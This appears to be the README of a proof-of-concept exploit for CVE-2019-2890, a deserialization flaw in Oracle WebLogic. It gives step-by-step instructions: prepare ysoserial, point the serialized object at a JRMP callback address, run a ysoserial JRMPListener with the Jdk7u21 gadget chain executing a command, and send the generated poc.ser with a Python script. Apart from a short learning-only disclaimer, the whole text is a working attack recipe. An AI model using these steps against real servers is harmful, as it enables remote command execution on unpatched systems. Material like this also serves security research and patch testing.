CVE-2019-2890

Disclaimer

For learning and communication purposes only. Use for other purposes at your own risk.

Description

The relevant jar files have been imported into the project, and the exploitation method uses yso's JRMP. When learning and debugging, you can modify the exploitation method.

First, place the SerializedSystemIni.dat file from weblogic into the security folder.

Then rename yso to ysoserial.jar and import it into the lib directory.

Next, the IP address and port of getObject in weblogic/wsee/jaxws/persistence/PersistentContext.java.

        try {
            var3.writeObject(Poc.getObject("127.0.0.1:8000"));
        } catch (Exception e) {
            e.printStackTrace();
        }

Finally, remotely listen via JRMP and exploit using 7u21 command execution.

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"

Usage: run Poc.java to generate the poc.ser serialized file, then use

python weblogic.py ip port poc.ser